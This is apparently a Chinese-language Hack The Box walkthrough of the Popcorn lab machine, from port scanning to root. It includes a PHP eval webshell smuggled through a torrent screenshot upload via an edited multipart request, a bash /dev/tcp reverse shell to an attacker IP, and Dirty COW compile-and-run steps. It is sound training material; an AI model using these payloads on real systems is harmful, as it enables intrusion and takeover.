HTB Popcorn 渗透测试详细记录
摘要
本文详细记录了对 HTB Popcorn 靶机的完整渗透测试过程。通过端口扫描发现目标主机开放了 SSH 和 HTTP 服务,并通过目录枚举找到了一个种子分享网站。利用该网站的图片上传功能绕过文件类型验证,成功上传了一句话木马并获取了初始 shell 权限。最终通过分析目标系统内核版本,使用脏牛(Dirty COW)漏洞成功提权至 root 权限,完成了对靶机的渗透测试。
关键技术
- 文件上传漏洞利用
- 文件类型验证绕过
- Linux 内核漏洞利用 (Dirty COW)
1. 初始侦察阶段
全端口快速扫描
使用 Nmap 进行初始端口扫描,快速识别开放端口:
nmap -sT -min-rate 10000 -p- 10.10.10.6
参数解释:
-sT
:TCP 连接扫描,建立完整的 TCP 连接-min-rate 10000
:设置最小发包速率为每秒 10000 个,加快扫描速度-p-
:扫描所有 65535 个端口10.10.10.6
:目标 IP 地址
扫描结果:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
详细服务扫描
针对发现的开放端口进行深入探测,识别具体服务版本与配置:
nmap -sT -sCV -p 22,80 10.10.10.6
参数解释:
-sT
:TCP 连接扫描-sCV
:启用服务版本检测(-sV
)与默认脚本扫描(-sC
)-p 22,80
:仅扫描特定端口10.10.10.6
:目标 IP 地址
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open http Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: popcorn.hackthebox.gr; OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. 服务探测与信息收集
主机名配置
HTTP 服务重定向到 popcorn.htb 域名,在本地 hosts 文件中添加域名解析:
echo '10.10.10.6 popcorn.htb' >> /etc/hosts
访问 popcorn.htb 后显示标准的 Apache 默认页面:
目录枚举
使用 feroxbuster 进行 Web 目录枚举:
feroxbuster -u http://popcorn.htb/ --no-recursion --methods GET,POST
参数解释:
-u http://popcorn.htb/
:指定目标 URL--no-recursion
:不递归扫描子目录--methods GET,POST
:使用 GET 和 POST 方法进行扫描
发现信息泄露
访问 http://popcorn.htb/test.php,发现是一个 phpinfo() 页面,显示 PHP 配置信息,包括启用了文件上传功能:
访问 http://popcorn.htb/rename/,发现一个文件重命名接口:
访问 http://popcorn.htb/torrent/login.php,发现是一个种子分享网站,有上传功能,但是需要登录,尝试注册一个账号登录
3. 漏洞识别与初始访问
注册账号并探索上传功能
注册一个新账号并登录到种子分享网站,尝试使用上传功能上传一句话木马失败,系统提示只能上传种子文件。
下载并上传一个合法的 torrent 文件:
https://cdimage.kali.org/kali-2025.1a/kali-linux-2025.1a-installer-amd64.iso.torrent
上传成功后显示以下页面:
文件上传漏洞利用
点击"Edit this torrent",发现可以上传种子的介绍图片。尝试通过这个功能点上传 Webshell。
- 构造简单的一句话木马,保存为 php.jpg:
<?php @eval($_POST['a']) ?>
- 上传 php.jpg,同时使用 Burp Suite 拦截并修改请求:
- 修改
Content-Disposition
字段:form-data; name="file"; filename="php.php"
- 修改
请求数据包内容:
POST /torrent/upload_file.php?mode=upload&id=9ba2973f0afd6c7cdd5356efed489e3fb0cdf20f HTTP/1.1
Host: popcorn.htb
Content-Length: 319
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://popcorn.htb/torrent/edit.php?mode=edit&id=9ba2973f0afd6c7cdd5356efed489e3fb0cdf20f
Accept-Encoding: gzip, deflate, br
Cookie: /torrent/torrents.php=; /torrent/login.php=; /torrent/index.php=; /torrent/=; /torrent/torrents.phpfirsttimeload=0; saveit_0=1; saveit_1=1; PHPSESSID=685bc2508df8b0502d44db3e0835f74e
Connection: keep-alive
------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/jpeg
<?php @eval($_POST['a']) ?>
------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh
Content-Disposition: form-data; name="submit"
Submit Screenshot
------WebKitFormBoundaryAIZjD4ZOVmv1R0Eh--
上传成功:
定位 Webshell 并建立初始访问
通过分析站点结构,找到上传目录:http://popcorn.htb/torrent/upload/
定位到上传的 Webshell 文件:
使用中国蚁剑连接 Webshell,成功获取 www-data 权限:
4. 横向移动
成功访问用户目录,获取 user.txt 文件:
(www-data:/var/www/torrent/upload) $ cd /home
(www-data:/home) $ ls
george
(www-data:/home) $ cd george
(www-data:/home/george) $ ls
torrenthoster.zip
user.txt
(www-data:/home/george) $ cat user.txt
341497c6c2e8841bafe96e0ac69efc9a
5. 权限提升前的信息收集
检查用户目录结构和权限:
(www-data:/home/george) $ ls -al
total 860
drwxr-xr-x 3 george george 4096 Oct 26 2023 .
drwxr-xr-x 3 root root 4096 Mar 17 2017 ..
lrwxrwxrwx 1 george george 9 Oct 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout
-rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc
drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache
-rw-r--r-- 1 george george 675 Mar 17 2017 .profile
-rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Apr 26 16:59 user.txt
检查系统内核版本:
uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
发现目标系统运行的是 2.6.31 版本的 Linux 内核,该版本存在脏牛(Dirty COW)本地权限提升漏洞。
参考链接 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
6. 权限提升
建立反弹 Shell
在攻击者主机上设置监听器:
nc -lvnp 9999
通过蚁剑终端执行反弹 Shell 命令:
bash -c 'bash -i >& /dev/tcp/10.10.16.26/9999 0>&1'
成功获取反弹 Shell:
listening on [any] 9999 ...
connect to [10.10.16.26] from (UNKNOWN) [10.10.10.6] 35170
bash: no job control in this shell
www-data@popcorn:/tmp$
优化 Shell
使用 Python 的 pty 模块升级 Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
完整的 Shell 升级步骤:
# 在反向 shell 中执行
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z (挂起进程)
# 在本地终端执行
$ stty raw -echo; fg
(按回车)
# 重新进入反向 shell 后执行
$ export TERM=xterm
利用 Dirty COW 漏洞提权
使用蚁剑将 Dirty COW 漏洞利用代码(dirty.c) https://github.com/FireFart/dirtycow/blob/master/dirty.c 上传到 /tmp 目录:
编译并执行漏洞利用代码:
chmod 777 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
执行漏洞利用程序,设置新用户密码为 123456:
www-data@popcorn:/tmp$ ./dirty
File /tmp/passwd.bak already exists! Please delete it and run again
www-data@popcorn:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash
mmap: b7814000
切换到新创建的具有 root 权限的用户:
su: Authentication failure
www-data@popcorn:/tmp$ su - firefart
Password:
firefart@popcorn:~# id
uid=0(firefart) gid=0(root) groups=0(root)
成功获取 root 权限并读取 root.txt 文件:
firefart@popcorn:~# cat /root/root.txt
b953ebdbc80e9a1abe396a6b18ebfc45
7. 总结
安全漏洞列表
- 信息泄露:
- phpinfo() 页面泄露了服务器配置信息
- 敏感目录未设置访问控制
- 文件上传漏洞:
- 上传功能仅通过 MIME 类型和文件扩展名验证文件类型
- 文件类型验证可被绕过
- 操作系统漏洞:
- Linux 内核版本过旧(2.6.31)
- 存在 Dirty COW (CVE-2016-5195) 本地提权漏洞
完整攻击链路图
初始侦察
|
↓
端口扫描 (22/TCP, 80/TCP)
|
↓
Web服务发现与枚举
|
+---------------+
| |
↓ ↓
phpinfo页面 种子分享网站
| |
| ↓
| 账户注册与登录
| |
| ↓
| 上传合法种子文件
| |
| ↓
+----→ 图片上传功能
|
↓
文件类型验证绕过
|
↓
Webshell上传成功
|
↓
获取www-data权限
|
↓
系统信息收集
|
↓
内核版本识别(2.6.31)
|
↓
Dirty COW漏洞利用
|
↓
root权限获取
|
↓
任务完成
各阶段关键点总结
- 侦察阶段:快速扫描全端口,发现 Web 服务并确认主机名配置。
- 信息收集:目录枚举发现 phpinfo 页面和种子分享网站。
- 漏洞利用:通过修改文件上传请求,绕过文件类型验证上传 Webshell。
- 权限提升:利用 Linux 内核 Dirty COW 漏洞将普通用户权限提升至 root 权限。
攻击向量简明展示
- 初始访问:Web 应用文件上传漏洞
- 持久化:PHP Webshell
- 权限提升:Dirty COW 内核漏洞(CVE-2016-5195)
结束语
这次打靶练习通过精细的信息收集和扎实的基本功,成功从零权限提升至 root 权限,熟悉了脏牛提权.
Comments NOTHING